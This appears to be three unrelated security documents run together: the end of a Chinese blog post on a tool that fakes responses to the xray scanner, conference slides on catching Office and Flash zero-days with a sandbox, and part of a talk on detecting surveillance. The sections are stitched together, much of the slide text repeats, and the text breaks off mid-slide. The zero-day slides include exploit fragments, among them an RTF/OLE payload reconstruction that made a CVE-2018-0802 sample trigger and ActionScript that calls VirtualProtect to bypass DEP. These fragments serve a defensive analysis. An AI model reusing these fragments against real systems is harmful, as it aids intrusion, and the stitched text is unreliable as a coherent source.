于 xray 的发展。除了通过污染漏洞报告来 “反制” xray 外,还有至少这样两个有趣的用途:
做 xray-like 的漏扫的集成测试
可以检查集成了 xray 的漏扫产品从 yaml 输入到扫描出漏洞的整个流程是否按预期工作。
借助 yarx 我还真发现了几个 xray 的陈年老 bug,提了个 issue 详情在这 Issue 1493
做 xray 相关的蜜罐
蜜罐类产品可以添加一个类别叫 xray-sensor,精准探测 xray 用了哪个 poc 发了什么包,
感觉做成产品整个界面还挺好玩的。还有一种可行的情况是在网关处针对 xray 的扫描流量
做一下转发,网关处的流量识别可以做的粗一点,比如只支持静态类型的 url 匹配,识别后
再转到 yarx 进行处理,这样可以迷惑一下攻击者。
虽然这不是真正意义上的 xray 反制,但也算是填补了常见安全工具反制的一块拼图,这波是利好
蓝队了。另外,文中的思路其实适用于任何扫描器,比如 nuclei 之类的也都可以用类似思路。甚
至如果有同学乐意可以比社区常见的扫描器都搞一搞,扫描器没法用了才是脚本小子真正的末日
(
长路尽处自有明灯
© 2019 - 2021 Koalr | pdf |
Needle in A Haystack:
Catch Multiple Zero-days Using
Sandbox
Qi Li
Security Development Engineer
Quan Jin
Vulnerability Mining and Exploiting Engineer
2019-5-30
About Us
Qi Li (@leeqwind)
360 Core Security Advanced Threat
Automation Team
Security Development Engineer
Quan Jin (@jq0904)
360 Core Security Advanced Threat
Automation Team
Vulnerability Mining and Exploiting Engineer
• Advanced Threat Automation and Sandbox
• Find in-the-wild zero-days using Sandbox
Outline
Cyber Attacks are Everywhere
The five in-the-wild exploiting zero-day attacks we captured up to now
CVE-2018-15982
Catch an international cyber-attack on a government
agency in the world with a new Flash zero-day (CVE-
2018-15982).
2018-11
CVE-2018-8174
The first to capture a new APT MS Office attack using a
browser zero-day (CVE-2018-8174) in the world, w h ich
affects the latest version of Internet explorer and
applications using the core of IE at that time.
2018-04
2018-06
CVE-2018-5002
The first company to catch an in-the-wild Flash zero-
day (CVE-2018-5002) worldwidely. The vulnerability
affects Adobe Flash Player 29.0.0.171 and all versions
below.
2017-12
CVE-2018-0802
The first in the world to catch Nightmare Equation II
(CVE-2018-0802) zero-day, which is the first in-the-
wild zero-day Microsoft fixed in 2018.
CVE-2017-11826
Capture an in-the-wild zero-day (CVE-2017-11826)
exclusively and globally. The first Office zero-day
attack caught by Chinese security vendor.
2017-09
Cyber Attacks are Everywhere
1
10
100
1000
10000
100000
1000000
doc
docm
docx
eml
html
hwp
msi
nsis
pdf
ppt
pptm
pptx
rtf
swf
vbs
xls
xlsm
xlsx
exe
dll
others
Flash
HWP
IE
Kernel
Office
PDF
CVE-2012-0158
CVE-2015-1641
CVE-2015-1726
CVE-2015-2545
CVE-2016-7255
CVE-2017-11882
CVE-2017-8570
CVE-2018-0798
CVE-2018-0802
CVE-2018-4878
Statistics for some of the N-day exploits we detected from March 2018 to March 2019
Partial file type classification
Vulnerability module
classification
Partial vulnerability count
Advanced Threat Automation
Sample
Cloud
Scheduler
Scan & Filter
Search
Alert
Subscription
Data
Collection
Worker
Server
Worker
Server
Worker
Server
Source & Prefiltering
Sandbox Servers Cluster
User Oriented
• Large-scale Sample Cloud
• Static Anti-virus Engine
• AVE QEX QVM
• Sample Pre-filtering Strategy
• Sandbox Servers Cluster
• Virtual Machine Isolation
Environments
• Sandbox Detection Engine
• Rule Scoring System
• Result Alarm and Response
Advanced Threat Automation
• Large-scale Sample Cloud
• Static Anti-virus Engine
• AVE QEX QVM
• Sample Pre-filtering Strategy
• Sandbox Servers Cluster
• Virtual Machine Isolation
Environments
• Sandbox Detection Engine
• Rule Scoring System
• Result Alarm and Response
VM Image Hub
Sandbox
Environment
Rule
Scoring
Task
Report
Log
Processing
VM
Operation
VM
How to do it?
Sandbox Detection Engine
• Initial Scenario: Dynamic Library
• Inject into target processes to work
• Hook export functions of system libs
Sandbox Detection Engine
Launch + Inject detector
Helper
Process
Suspecious
Process
Sub
Process
Hook
Exploit
VEH
Logging
Detector
Hook
Exploit
VEH
Logging
Detector
Launch
process
Inject detector
message
• Initial Scenario: Dynamic Library
• Inject into target processes to work
• Hook export functions of system libs
• Lightweight 😀
Sandbox Detection Engine
Launch + Inject detector
Helper
Process
Suspecious
Process
Sub
Process
Hook
Exploit
VEH
Logging
Detector
Hook
Exploit
VEH
Logging
Detector
Launch
process
Inject detector
message
• Initial Scenario: Dynamic Library
• Inject into target processes to work
• Hook export functions of system libs
• Lightweight 😀
• Is that enough?
Sandbox Detection Engine
Launch + Inject detector
Helper
Process
Suspecious
Process
Sub
Process
Hook
Exploit
VEH
Logging
Detector
Hook
Exploit
VEH
Logging
Detector
Launch
process
Inject detector
message
Launch + Inject detector
Helper
Process
Suspecious
Process
Sub
Process
Hook
Exploit
VEH
Logging
Detector
Hook
Exploit
VEH
Logging
Detector
Launch
process
Inject detector
message
• Initial Scenario: Dynamic Library
• Inject into target processes to work
• Hook export functions of system libs
• Lightweight 😀
• Is that enough?
• Can be detected easily ☹
Sandbox Detection Engine
Launch + Inject detector
Helper
Process
Suspecious
Process
Sub
Process
Hook
Exploit
VEH
Logging
Detector
Hook
Exploit
VEH
Logging
Detector
Launch
process
Inject detector
message
Sandbox Detection Engine
• Initial Scenario: Dynamic Library
• Inject into target processes to work
• Hook export functions of system libs
• Lightweight 😀
• Is that enough?
• Can be detected easily ☹
• Can be bypassed easily ☹
Launch + Inject detector
Helper
Process
Suspecious
Process
Sub
Process
Hook
Exploit
VEH
Logging
Detector
Hook
Exploit
VEH
Logging
Detector
Launch
process
Inject detector
message
Sandbox Detection Engine
• Initial Scenario: Dynamic Library
• Inject into target processes to work
• Hook export functions of system libs
• Lightweight 😀
• Is that enough?
• Can be detected easily ☹
• Can be bypassed easily ☹
• Easy to lose the tracking chain to new
processes launched remotely ☹
• The 2nd Option: Driver
• Monitor system call from target in kernel
• System callbacks, notifications, filters
Sandbox Detection Engine
Userland
Kernel
lib
syscall
obj
proc
fsflt
drv
Sandbox Detector Driver
lib
lib
• The 2nd Option: Driver
• Monitor system call from target in kernel
• System callbacks, notifications, filters
• More complete monitoring coverage 😀
• More comprehensive stain tracking 😀
Sandbox Detection Engine
Userland
Kernel
lib
syscall
obj
proc
fsflt
drv
Sandbox Detector Driver
lib
lib
• The 2nd Option: Driver
• Monitor system call from target in kernel
• System callbacks, notifications, filters
• More complete monitoring coverage 😀
• More comprehensive stain tracking 😀
• Is that all right?
Sandbox Detection Engine
Userland
Kernel
lib
syscall
obj
proc
fsflt
drv
Sandbox Detector Driver
lib
lib
Userland
Kernel
lib
syscall
obj
proc
fsflt
drv
Sandbox Detector Driver
lib
lib
Sandbox Detection Engine
• The 2nd Option: Driver
• Monitor system call from target in kernel
• System callbacks, notifications, filters
• More complete monitoring coverage 😀
• More comprehensive stain tracking 😀
• Is that all right?
• PATCH GUARD for 64-bit OS ☹
Userland
Kernel
lib
syscall
obj
proc
fsflt
drv
Sandbox Detector Driver
lib
lib
Sandbox Detection Engine
• The 2nd Option: Driver
• Monitor system call from target in kernel
• System callbacks, notifications, filters
• More complete monitoring coverage 😀
• More comprehensive stain tracking 😀
• Is that all right?
• PATCH GUARD for 64-bit OS ☹
• Interference from malwares with drivers ☹
Sandbox Detection Engine
• The 3rd Option: Virtualization-based Driver
• Virtualization-based system call monitoring
• R/W access to sensitive memory monitoring
Userland
Kernel
lib
system call
obj
proc
fsflt
drv
Sandbox Detection Driver
lib
lib
Sandbox Hypervisor Driver
Sandbox Detection Engine
• The 3rd Option: Virtualization-based Driver
• Virtualization-based system call monitoring
• R/W access to sensitive memory monitoring
• Avoid BSOD caused by PATCH GUARD 😀
• Protect private driver code and data 😀
• Expand more comprehensive detection 😀
Userland
Kernel
lib
system call
obj
proc
fsflt
drv
Sandbox Detection Driver
lib
lib
Sandbox Hypervisor Driver
• The 3rd Option: Virtualization-based Driver
• Virtualization-based system call monitoring
• R/W access to sensitive memory monitoring
• Avoid BSOD caused by PATCH GUARD 😀
• Protect private driver code and data 😀
• Expand more comprehensive detection 😀
• Is this foolproof?
Sandbox Detection Engine
Userland
Kernel
lib
system call
obj
proc
fsflt
drv
Sandbox Detection Driver
lib
lib
Sandbox Hypervisor Driver
Userland
Kernel
lib
system call
obj
proc
fsflt
drv
Sandbox Detection Driver
lib
lib
Sandbox Hypervisor Driver
• The 3rd Option: Virtualization-based Driver
• Virtualization-based system call monitoring
• R/W access to sensitive memory monitoring
• Avoid BSOD caused by PATCH GUARD 😀
• Protect private driver code and data 😀
• Expand more comprehensive detection 😀
• Is this foolproof?
• Unsecured reliability of other kernel modules ☹
Sandbox Detection Engine
Userland
Kernel
lib
system call
obj
proc
fsflt
drv
Sandbox Detection Driver
lib
lib
Sandbox Hypervisor Driver
Sandbox Detection Engine
• The 3rd Option: Virtualization-based Driver
• Virtualization-based system call monitoring
• R/W access to sensitive memory monitoring
• Avoid BSOD caused by PATCH GUARD 😀
• Protect private driver code and data 😀
• Expand more comprehensive detection 😀
• Is this foolproof?
• Unsecured reliability of other kernel modules ☹
• Poor nested virtualization support of Virtual machine software ☹
Userland
Kernel
lib
syscall
obj
proc
fsflt
drv
Sandbox Client Driver
Virtual Machine
Sandbox Detection Engine
Hypervisor
Hardware
Sandbox Detection Engine
Virtual Machine
Host OS Kernel
VM-1
VM-2
···
Host Server
• The 4th Option: Detection Scheme Based on Global Virtual Machine Monitor
Hypervisor
Hardware
Sandbox Detection Engine
Virtual Machine
Host OS Kernel
VM-1
VM-2
···
Host Server
Sandbox Detection Engine
• The 4th Option: Detection Scheme Based on Global Virtual Machine Monitor
• Core detection code in host OS kernel
• Integrated Advantages from previous
• Independent of modules inside VM 😀
• No affect on detection when VM crashed 😀
• Data outputs host record service directly 😀
Sandbox Detection Technology
• Behavior Detection
• Memory Access Detection
• Kernel Exploit Detection
• Kernel Exception Detection
• Known Vulnerabilities Detection
• User-mode Exploit Detection
Access Proc
Access File
Behavior
Network
Vulnerablitiy
Exploit
EoP
syscall
UAF
Nullptr
Arbitrary
addr R/W
Arbitrary
addr exec
Token
Privileges
Sandbox Detection Technology
• Behavior Detection
• Memory Access Detection
• Kernel Exploit Detection
• Kernel Exception Detection
• Known Vulnerabilities Detection
• User-mode Exploit Detection
Memory Access Detection
Behavior Detection
Guest OS
Hypervisor
Match
I.I.
Match
Ret
Extract
Record
Detection Logging Recorder
Execution Flow in Guest OS
Match
I.I.
Match
Ret
Extract
Record
S.MTF
C.MTF
Recover
Ret
Kernel Exploit Detection
Vulnerability Triggering
Exploiting
Exploit Result
UAF
Nullptr
OOB
Pool/heap spray
Corrupting window
Token
Privileges
Integrity
ACL
...
...
...
KeBugCheck(XX)
Record Context
Guest OS
Hypervisor
Kernel Exception Detection
• Record critical context when the
system kernel crashes
Known Vulnerabilities Detection
• Identify tasks that exploit known
vulnerabilities accurately
User-mode Exploit Detection
• Heap Spray Limit Detection
• Export Address Table Filtering
• Import Address Table Filtering
• ROP Detection
• Flash Specific Detection
• Vector Length Detection
• ByteArray Length Detection
• LoadBytes Dump
• Other Detection Features
• VBScript Specific Detection
• ……
Detection Result Alarm
Advanced Threat Automation Platform
Detection Result Alarm
Advanced Threat Automation Platform
How to find zero-day using sandbox?
Speaking from CVE-2017-0199...
Sandbox Advantage
• Multiple Environments
• Each version of Windows
• Each version of Office
• Each version of Flash
• Dynamic Execution
• Analog interaction
• Anti-static obfuscation (especially RTF files)
• Record And Restore The Scene
• Accurate
• Vulnerability and exploit identification
• Automation
• Automatically show process behaviors
• Automatically dump files
• Automatically dump exploit code loaded by LoadBytes
Build Automation Detection System
• Historical Event Research
• History 0day/1day study
• Data Source
• Massive data from 360
• High quality shared data source
• Analysis System
• Sandbox
• Notification System
• Manual Confirmation
• Related Vulnerability Analysts
Related Vulnerabilities in Nearly 6 Years
2013
2014
2015
2016
2017
2018
CVE-2013-0634
CVE-2013-3906
CVE-2014-1761
CVE-2014-4114
CVE-2014-6352
CVE-2015-1642
CVE-2015-2424
CVE-2015-2545
CVE-2015-5119
CVE-2015-5122
CVE-2016-4117
CVE-2016-7193
CVE-2016-7855
CVE-2017-0199
CVE-2017-0261
CVE-2017-0262
CVE-2017-8570
CVE-2017-8759
CVE-2017-11292
CVE-2017-11826
CVE-2017-11882
CVE-2018-0798
CVE-2018-0802
CVE-2018-4878
CVE-2018-5002
CVE-2018-8174
CVE-2018-8373
CVE-2018-15982
Historical Vulnerability Classification
RTF Control Word Parsing
Problem
Open XML Tag Parsing
Problem
ActiveX Control Parsing
Problem
Office Embedded Flash
0day
CVE-2010-3333
CVE-2014-1761
CVE-2016-7193
CVE-2015-1641
CVE-2017-11826
CVE-2012-0158
CVE-2012-1856
CVE-2015-2424
CVE-2017-11882
CVE-2018-0798
CVE-2018-0802
CVE-2011-0609
CVE-2011-0611
CVE-2013-0634
Code from HackingTeam
CVE-2016-4117
CVE-2016-7855
CVE-2018-4878
CVE-2018-5002
CVE-2018-15982
TIFF Image Parsing
Problem
EPS File Parsing Problem
Moniker
Other Office Logic
Vulnerabilities
CVE-2013-3906
CVE-2015-2545
CVE-2017-0261
CVE-2017-0262
CVE-2017-0199
CVE-2017-8570
CVE-2017-8759
CVE-2018-8174
CVE-2018-8373
CVE-2014-4114
CVE-2014-6352
CVE-2015-0097
History is Always Similar
RTF Control Word Parsing
Problem
Open XML Tag Parsing
Problem
ActiveX Control Parsing
Problem
Office Embedded Flash
0day
CVE-2010-3333
CVE-2014-1761
CVE-2016-7193
CVE-2015-1641
CVE-2017-11826
CVE-2012-0158
CVE-2012-1856
CVE-2015-2424
CVE-2017-11882
CVE-2018-0798
CVE-2018-0802
CVE-2011-0609
CVE-2011-0611
CVE-2013-0634
Code from HackingTeam
CVE-2016-4117
CVE-2016-7855
CVE-2018-4878
CVE-2018-5002
CVE-2018-15982
TIFF Image Parsing
Problem
EPS File Parsing Problem
Moniker
Other Office Logic
Vulnerabilities
CVE-2013-3906
CVE-2015-2545
CVE-2017-0261
CVE-2017-0262
CVE-2017-0199
CVE-2017-8570
CVE-2017-8759
CVE-2018-8174
CVE-2018-8373
CVE-2014-4114
CVE-2014-6352
CVE-2015-0097
Constant Reflection
A few missteps: 4 0days + 1 1day
April 2017
• CVE-2017-0261 (0day)
• CVE-2017-0262 (0day) + CVE-2017-0263 (0day)
• Reflection
• Sandbox Detection Engine is defective ☹
• CVE-2017-0261 sample cannot be triggered in Office 2010 ☹
• CVE-2017-0262 sample cannot be triggered in Office 2007 ☹
• When the user-mode engine meets a kernel zero-day ☹
August 2017
• CVE-2017-8759 (0day)
• Reflection
• The sandbox ran out of the sample, but failed to notify the analyst in time ☹
October 2017
• CVE-2017-11292 (1day)
• Reflection
• Lack of understanding of the DealersChoice framework ☹
• If the target is a low version of Flash, issue CVE-2015-7645 ☹
• If the target is a high version of Flash, issue CVE-2017-11292 😀
Research Attack Framework
• DealersChoice
• Named by @Unit42_Intel
• Used by APT28
• Continuous improvement to avoid detection as much as possible
• Initial Approach
• Check current Flash version
• Filter geographical location
• Short survival time
• New Approach
• Anti-sandbox: need to simulate document slide
• Rewrite open source code, add malicious features, avoid static detection
Continue to Innovate
• Sandbox Detection Engine defects ☹
• Develop the next generation of sandbox
detection engine 😀
• Correctly environment is not selected ☹
• Make a variety of environments 😀
• Make delivery strategies with high trigger
rate 😀
• Failure to notify analysts in a timely
manner ☹
• Build a real-time notification system 😀
• Not familiar enough with the attack
framework ☹
• Research DealersChoice framework 😀
• Enhance Flash specific detection 😀
From 0 to 1
CVE-2017-11826
From 0 to 1
• September 27, 2017
From 0 to 1
• For the first time Chinese security company caught an in-the-wild Office zero-day
CVE-2017-11826
• OLEObject & Font object type obfuscation + ActiveX heap spray
; Normal execution under Office 2007
; mov
eax, [eax+44h]
0:000> dc 38450f4 l4c/4
038450f4
0000ffff 0000ffff 00000004 00000004
................
03845104
00000001 00000000 00000000 00000000
................
03845114
00000000 ffffffff ffffffff 00000000
................
03845124
00000000 ffffffff 00000000 00000000
................
03845134
00000000 01d9ffa0 67a02e58
........X..g
; mov
eax, [eax+44h]
0:000> dc 01d9ffa0 l4c/4
01d9ffa0
00000001 00000001 01f47928 00000009
........(y......
01d9ffb0
00000000 00000000 00000000 00000000
................
01d9ffc0
00000000 000004b0 00000000 00000000
................
01d9ffd0
0005003c 00000000 00000000 00000000
<...............
01d9ffe0
00000002 01f7e0a0 00000000
............
; mov
ecx, [eax]
0:000> dd 01f7e0a0 l1
01f7e0a0
65d9420c
; call
dword ptr [ecx+4]
0:000> dds 65d9420c l2
65d9420c
65b527ad mso!Ordinal1072+0x2dd
65d94210
658bbe71 mso!Ordinal836+0xaf
// AddRef
; Vuln triggered under Office 2007
; mov
eax, [eax+44h]
0:000> dc 5998140 l4c/4
05998140
000001de 000000dd 00000015 00000010
................
05998150
00000000 00000000 00000000 00000000
................
05998160
00000000 ffffffff ffffffff 00000000
................
05998170
00000000 ffffffff 00000000 00000000
................
05998180
00000000 04131700 67110a89
...........g
; mov
eax, [eax+44h]
0:000> dc 04131700 l4c/4
04131700
0000045f 00000000 00000000 00000000
_...............
04131710
00000000 00000000 00000000 00000000
................
04131720
00000000 00000000 0069004c 0063006e
........L.i.n.c.
04131730
00720065 00680043 00720061 00680043
e.r.C.h.a.r.C.h.
04131740
00720061 088888ec 006f0066
a.r.....f.o.
; mov
ecx, [eax]
0:000> dd 088888ec l1
088888ec
088883ec
; call
dword ptr [ecx+4]
0:000> dds 088883ec l2
088883ec
72980e2b MSVBVM60!IID_IVbaHost+0x127eb
088883f0
72980e2b MSVBVM60!IID_IVbaHost+0x127eb // Stack Pivot
From 1 to N
CVE-2018-0802
CVE-2018-8174
CVE-2018-5002
CVE-2018-15982
CVE-2018-0802
• Stack Overflow in Equation Editor
• December 14, 2017
• Embedding two vulnerabilities
• CVE-2017-11882
• CVE-2018-0802
• Can be triggered and exploited successfully 😀
• December 19, 2017
• Embedding only one vulnerability
• CVE-2018-0802
• Cannot trigger properly ☹
• Can be successfully used after reconstructing OLE 😀
CVE-2018-0802
• Both samples were reported to Microsoft
• On January 10, 2018, Microsoft acknowledged us
CVE-2018-0802
• Sample of December 19, 2017
• MD5: 299D0C5F43E59FC9415D70816AEE56C6
• Embedded 0day 😀
• RTF obfuscation 😀
• OLE data construct error ☹
Wrong equation flow :
DirEntry SID=4:
'\xe7\x90\x80\xe6\xa4\x80\xe7\x98\x80\xe6\x94\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe2\
x80\x80\xc8\x80\xef\xbc\x80\xef\xbf\xbf\xef\xbf\xbf\xef\xbf\xbf\xef\xbf\xbf\xef\xbf\xbf\xc3\xbf\x00'
- type: 0
- sect: 0
- SID left: 0, right: 0, child: 0
- size: 0 (sizeLow=0, sizeHigh=0) # logged by olefile.py
Normal equation flow :
DirEntry SID=4: 'Equation Native'
- type: 2
- sect: 4
- SID left: 4294967295, right: 4294967295, child: 4294967295
- size: 197 (sizeLow=197, sizeHigh=0) # logged by olefile.py
CVE-2018-0802
• Where is the error?
• Extract the confusing OLE object
0:010> bp ole32!OleConvertOLESTREAMToIStorage
0:010> g
Breakpoint 0 hit
eax=000004e0 ebx=059bc3c0 ecx=00008000 edx=00000000 esi=02d80960 edi=001dade8
eip=75c528fa esp=001dab2c ebp=001dadb0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
ole32!OleConvertOLESTREAMToIStorage:
75c528fa 8bff mov edi,edi
0:000> .writemem C:\de-obfuscated_ole.bin poi(poi(poi(esp + 0x04) + 0x08)) Lpoi(poi(esp + 0x04) + 0x0C)
Writing dc5 bytes..
0:000> db poi(poi(poi(esp + 0x04) + 0x08))
04946510 01 05 00 00 02 00 00 00-0b 00 00 00 45 71 75 61 ............Equa
04946520 74 69 6f 6e 2e 33 00 00-00 00 00 00 00 00 00 00 tion.3..........
04946530 0e 00 00 d0 cf 11 e0 a1-b1 1a e1 00 00 00 00 00 ................
04946540 00 00 00 00 00 00 00 00-00 00 00 3e 00 03 00 fe
...........>....
04946550 ff 09 00 06 00 00 00 00-00 00 00 00 00 00 00 01 ................
04946560 00 00 00 01 00 00 00 00-00 00 00 00 10 00 00 02 ................
04946570 00 00 00 01 00 00 00 fe-ff ff ff 00 00 00 00 00 ................
04946580 00 00 00 ff ff ff ff ff-ff ff ff ff ff ff ff ff
................
CVE-2018-0802
• Where is the error?
• MiniFat Sector misaligned 0x15 bytes
CVE-2018-0802
• How to "fix"?
• Make minor modifications to the original RTF document 😀
{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata 01050000{{\object}}
02000000
0b000000
4571756174696f6e2e3300
00000000
00000000
000e0000 ; Data Size
d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff090006000000000000
...
000000000000000000000000000000000000000000feffffff02000000 ; Fill 0 forty-two times before MiniFat Sector
...
{\oldff}0a00ffffffff0100000000001c000000fb021000070000000000bc02000000000102022253797374656d000048008a0100000a0006000
0004800{\ole}8a01ffffffff7cef1800040000002d01010004000000f00100000300000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 ; Make up
the length to satisfy Data Size
...
0105000000000000 ; extra Presentation data
CVE-2018-0802
• After the New Year's Day in 2018, more CVE-2018-0802 samples appeared
• Other researchers noticed the samples but didn't know they used a zero-day ☹
How to Distinguish Two Vulnerabilities
IPersistStorage::Load(406881)
offset:406a93 call ReadMTEFData(42f8ff)
offset:42f921 call 43755c
offset:4375d5 call 43a720
offset:43a72a call 43a87a
offset:43a89b call 43b418
; Font tag parse Logic
offset:43b44b call ReadFontName(4164fa)
offset:43b461 call 4214c6
offset:4214dd call LogfontStruct_Overflow(421774)
offset:4217c3 call 421e39
offset:421e5e rep movsd <- CVE-2018-0802
offset:4218cb call 451d50
offset:4218df call 4115a7
offset:4115d3 call final_overflow(4115d3)
offset:411658 rep movsd <- CVE-2017-11882
offset:411874 retn
Eqnedt32.exe 2000.11.9.0
How to Distinguish Multiple Vulnerabilities
• Accurately distinguish between the three equation editor vulnerabilities
CVE-2018-8174
• Two earlier Office samples
• Moniker remote loading CVE-2014-6332
• January 17, 2018
• Document MD5: A9D3F7A1ACD624DE705CF27EC699B6B6
• Moniker: hxxp://s.dropcanvas[.]com/1000000/940000/939574/akw.html
• akw.html MD5: C40A128AE7AEFFA3C1720A516A99BBDF
• February 23, 2018
• Document MD5: 2E658D4A286F3A4176A60B2450E9E729
• Moniker: hxxp://s.dropcanvas[.]com/1000000/942000/941030/IE.html
• IE.html MD5: C36D544588BAF97838588E732B3D47E9
CVE-2018-8174
• April 18, 2018
• RTF document loading and executing VBScript zero-day
CVE-2018-8174
• On May 8, 2018, Microsoft acknowledged us
CVE-2018-8174
• UAF -> overlength array -> arbitrary address read and write
// before mem = Value
0:005> dd 022cb91c l4
022cb91c 00000008 00000000 04730834 00000000
0:005> dd 04730834 l6
04730834 08800001 00000001 00000000 00000000
04730844 7fffffff 00000000
// after mem = Value
0:007> dd 022cb91c l4
022cb91c 0000200c 00000000 04730834 00000000
0:007> dd 04730834 l6
04730834 08800001 00000001 00000000 00000000
04730844 7fffffff 00000000
Class class_setprop_a
Dim mem
Function P
End Function
Function SetProp(Value)
mem = Value 'callback
SetProp = 0
End Function
End Class
CVE-2018-5002
• June 1, 2018
• A complex Flash control framework
• AVM2 Interpreter Vulnerability
CVE-2018-5002
• On June 7, 2018, Adobe acknowledged us
CVE-2018-5002
• Bypass ROP detection 😀
• Override return address to bypass CFG 😀
• Unable to bypass EAF detection ☹
var cls25:class_25 = new class_25(cls8, RtlUnwind_Addr);
var NtProtectVirtualMemory_Addr:uint = cls25.GetFuncAddrByEAT("NtProtectVirtualMemory");
if(0 == NtProtectVirtualMemory_Addr)
{
return new Array();
}
var NtPrivilegedServiceAuditAlarm_Addr:uint = cls25.GetFuncAddrByEAT("NtPrivilegedServiceAuditAlarm");
if(0 == NtPrivilegedServiceAuditAlarm_Addr)
{
return new Array();
}
How to Debug CVE-2018-5002
• Reverse -> ASC2.0 Compile -> Modify bytecode with FFDEC -> Debuggable swf file
• Open source WinDBG plugin
• https://github.com/michaelpdu/flashext_pykd
• Add 3 lines of code to make the plugin more perfect 😀
def callback_after_call_getmethodname(self):
# dprintln("Enter into callback_after_call_getmethodname")
reg_eax = reg("eax")
# dprintln("EAX = " + hex(reg_eax))
addr_name = ptrPtr(reg_eax + 0x08)
len_name = ptrPtr(reg_eax + 0x10)
if 0 == addr_name and 0 != len_name:
if ptrPtr(reg_eax + 0x0C) != 0:
addr_name = ptrPtr(ptrPtr(reg_eax + 0x0C) + 0x08)
CVE-2018-5002 in the Debugger
// Before triggering
0:007> dd 02c0ab24-10
02c0ab14 093101f0 093101a0 093101f0 093101a0
02c0ab24 093101f0 093101a0 093101f0 093101a0
02c0ab34 093101f0 093101a0 093101f0 093101a0
02c0ab44 093101f0 093101a0 093101f0 093101a0
02c0ab54 093101f0 093101a0 093101f0 093101a0
02c0ab64 093101f0 093101a0 093101f0 093101a0
02c0ab74 093101f0 093101a0 093101f0 093101a0
02c0ab84 093101f0 093101a0 093101f0 093101a0
// After triggering
0:007> dd 02c0ab24-10
02c0ab14 093101f0 093101a0 093101f0 093101f0
02c0ab24 093101a0 093101a0 093101f0 093101a0
02c0ab34 093101f0 093101a0 093101f0 093101a0
02c0ab44 093101f0 093101a0 093101f0 093101a0
02c0ab54 093101f0 093101a0 093101f0 093101a0
02c0ab64 093101f0 093101a0 093101f0 093101a0
02c0ab74 093101f0 093101a0 093101f0 093101a0
02c0ab84 093101f0 093101a0 093101f0 093101a0
• Trigger Vulnerability -> Swap Pointer on stack -> Type Confusion
CVE-2018-15982
• November 29, 2018
• 2 hours, 2 samples
• UAF Vulnerability in TVSDK
CVE-2018-15982
• On December 5, 2018, Adobe acknowledged us again
CVE-2018-15982
• Use HackingTeam's trick to bypass ROP detection 😀
• Unable to evade EAF detection ☹
// Virt(ualPro)tect = 74726956 74636574
var vp_addr:uint = this.getFuncAddrByEAT32(0x74726956, 0x74636574, 10, kernel32_addr);
...
this.writeDWORD32(sc_addr + 8 + 0x80 + 0x1c, vp_addr);
this.writeDWORD32(ptbl, sc_addr + 8 + 0x80);
this.writeDWORD32(p + 0x1c, sc_addr);
this.writeDWORD32(p + 0x20, vec_uint.length * 4);
var args:Array = new Array(0x41);
Payload.call.apply(null, args); // Call VirtualProtect to bypass DEP
Other Harvest
• 1 Word CVE 😀
• 1 PowerPoint CVE 😀
• 4 Excel CVE 😀
• 1 Win32k CVE 😀
Summary
• Easy from 1 to N, hard from 0 to 1
• Know your opponent, reflect
upon yourself, beat your opponent
• Always on the road
Acknowledgement
• Thanks to all the partners of 360 Advanced Threat Team
• Thanks to @programmeboy, @guhe120, @binjo, @Unit42_Intel
• Special thanks to @HaifeiLi and his sharing about Office security
Needle in A Haystack: Catch Multiple Zero-days Using Sandbox
Qi Li
[email protected]
@leeqwind
Quan Jin
[email protected]
@jq0904 | pdf |
Am I Being Spied On?
Low-tech Ways Of Detecting High-tech
Surveillance
Dr. Phil
@ppolstra
http://philpolstra.com
What this talk is about
● Determining if you are a victim of spying
– Video surveillance
– Tailing
– Audio eavesdropping
– Devices embedded in your computer,
tablet, or smart phone
Why you should care
● Government assault on Constitution is
well known
● Local governments
● Competitors
● Stalkers
● People who just don't like you
Video surveillance
Common flaw all night vision
cameras share
Detecting this flaw with any
digital camera
Finding a camera with a
phone
Other Ways to Detect IR
Detecting wireless cameras
Free way: Android tablet or
smartphone (ad hoc nets)
Inexpensive way: BeagleBone based system
Simple way using Airodump-ng
Slightly more sophisticated with Python
#!/usr/bin/env python
from scapy.all import *
import os, sys, time, operator
interface = "mon0"
clientsIKnow = { }
def sniffClientStrength(p):
if p.haslayer(RadioTap) and p.haslayer(Dot11):
try:
sigStrength = int(-(256-ord(p.notdecoded[-4:-3])))
if str(p.addr2) not in clientsIKnow.keys():
clientsIKnow[str(p.addr2)] = sigStrength
else:
if sigStrength > clientsIKnow[str(p.addr2)]:
clientsIKnow[str(p.addr2)] = sigStrength
except KeyboardInterrupt:
sys.exit(1)
except:
pass
def main():
os.system('clear')
try:
while True:
sniff(iface=interface, prn=sniffClientStrength, timeout=2)
if clientsIKnow:
sorted_list = sorted(clientsIKnow.items(), key=lambda x: x[1], reverse=True)
for item in sorted_list:
print item[0], item[1]
time.sleep(1)
os.system('clear')
clientsIKnow.clear()
sorted_list = []
except KeyboardInterrupt:
pass
if __name__ == '__main__':
main()
More sophisticated Way
Moderately expensive way:
Detecting signals in licensed
bands
● Use an Linear Technologies LTC5582
RMS RF power detector
● Measure LTC5582 output on volt meter
or BeagleBone or ??
● Bandpass filters can be used to look at
individual frequency bands
Moderately Expensive Way
Moderately Expensive Way
Physical surveillance
● Tailing
– Common vehicles used
– Standard techniques
● Stakeout
– Common vehicles used
– Standard techniques
Tailing Vehicles
● Non-government spies choose vehicles to blend in
– Probably not the red Ferrari behind you
– Likely vehicles
● Bland colored Honda or Toyota sedan
● Bland colored SUV
● Whatever is commonly seen in the area
● Government spies drive vehicles issued to them
– Black SUV
– Crown Victoria
– Other vehicles too!
General Tailing Techniques
● Follow distance varies from about 2
cars behind to a block
● Bumper beeper may be used to extend
follow distance to 0.5 – 10.0 miles
● Tail is generally considered blown if
subject has 3 suspicious impressions
Single Car Tailing
● Generally will be closer than multi-car
tails
● More likely to follow traffic laws
● May use a bumper beeper to help
relocate the subject if lost
Multi-car Tailing
● In most cases everyone is behind the
subject
● Some cars may be on parallel streets
– More likely in urban areas
● Tailing vehicles may change relative
positions
● Vehicles might occasionally appear to
go a different direction only to rejoin
later
Combating Tailing
● Look!
– Check around your car for trackers
– Watch for vehicles who seem to be
behind you for long distances
